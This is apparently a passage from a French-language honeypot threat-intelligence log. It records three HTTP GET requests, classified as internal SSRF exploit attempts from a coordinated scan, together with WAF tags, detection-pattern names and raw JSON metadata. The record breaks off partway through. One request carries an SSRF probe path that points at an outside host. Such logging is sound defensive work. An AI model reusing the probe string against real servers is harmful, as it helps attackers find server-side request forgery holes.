31/07/2026 15:44:42 UTC
TCP
8889 · HTTP
SSRF interne
ssrf internal · via HTTP:8889 · (tentative d'exploit)
Élevée
Moyen · 55
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8889
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 55
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8889
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8889 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "7d18989cf71208a1dabdcc0db3e010901e18bff2",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.375270168895017,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8889,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.1,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 55,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "efda09e5cee92718e445a6122f149282746a72a6",
"event_fingerprint": "4fff8d3cfc5f58b0940132570ba7fa53281c3e42",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 55,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "0f1ad191ccf34abce9f0c913b4a45aa3",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8889,
"service": "http",
"service_name": "http",
"risk_score": 55
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8889\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8889\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8889\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8889\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8889\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "82cc9b32b26e85dced415da70b9b9833da50b421",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8889,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8889\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "ssrf internal \u00b7 via HTTP:8889 \u00b7 (tentative d'exploit)",
"target_port_label": "8889 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 55\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 55,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 55,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8889,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8889,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8889 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8889\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8889 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8889"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 4,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:44:30 UTC
TCP
8880 · HTTP
SSRF interne
ssrf internal · via HTTP:8880 · (tentative d'exploit)
Élevée
Moyen · 53
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8880
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 53
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8880
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8880 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "c3a8697c6c279a95f0caf2b5f47944b1de8a6733",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 216,
"payload_entropy": 5.401595848748727,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8880,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3.6,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 53,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "9c30ce3198befc881fb2b9eff62dd52155021f5f",
"event_fingerprint": "d02d0cf983692d58cdb0cfca4295b2fba7206c25",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "30237c9195f7e2c3c3816dbedf5253c1",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8880,
"service": "http",
"service_name": "http",
"risk_score": 53
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b22d0ca9eb6c8a4136b93a35485bf5b453e84da2",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8880,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "ssrf internal \u00b7 via HTTP:8880 \u00b7 (tentative d'exploit)",
"target_port_label": "8880 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 53,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8880,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8880,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8880 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "8880 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8880"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 3,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:44:30 UTC
TCP
8880 · HTTP
SSRF interne
ssrf internal · via HTTP:8880 · (tentative d'exploit) · → /http%3A%2F%2Fw00te8b527c1d.com
Élevée
Moyen · 63
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET /http%3A%2F%2Fw00te8b527c1d.com UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
25
Recommandation
Investiguer
Tags
950326:rce-0
950404:ssrf-3
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/http%3A%2F%2Fw00te8b527c1d.com
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8880
Chemin / cible
/http%3A%2F%2Fw00te8b527c1d.com
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 63
Confiance : Confiance 54 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET /http%3A%2F%2Fw00te8b527c1d.com HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
ssrf-3
nosqli-3
Payload (extrait)
GET /http%3A%2F%2Fw00te8b527c1d.com HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8880
Accept: */*
User-Agent: Moz
Requête brute (extrait)
GET /http%3A%2F%2Fw00te8b527c1d.com HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8880 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": "com",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "c3a8697c6c279a95f0caf2b5f47944b1de8a6733",
"http_target_hash": "355a640a1127bedaf9ba5b47245be79b4b8816cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 246,
"payload_entropy": 5.493479126990604,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8880,
"risk_waf": 100,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4,
"risk_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 63,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "7814fcee87428f478784b115cd9ca461f1391c27",
"event_fingerprint": "f51c267388e56dc651174f1c739cfab5f6d65779",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 63,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "b6bc807fe8425c59a1f99015a7d058fa",
"path_pattern_hash": "171eee81760289d880760c80160359e6"
},
"target_context": {
"dst_port": 8880,
"service": "http",
"service_name": "http",
"risk_score": 63
},
"payload_preview": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Moz",
"method": "GET",
"path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950404:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"request_sample": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Moz",
"evidence": {
"method": "GET",
"path": "\/http%3A%2F%2Fw00te8b527c1d.com",
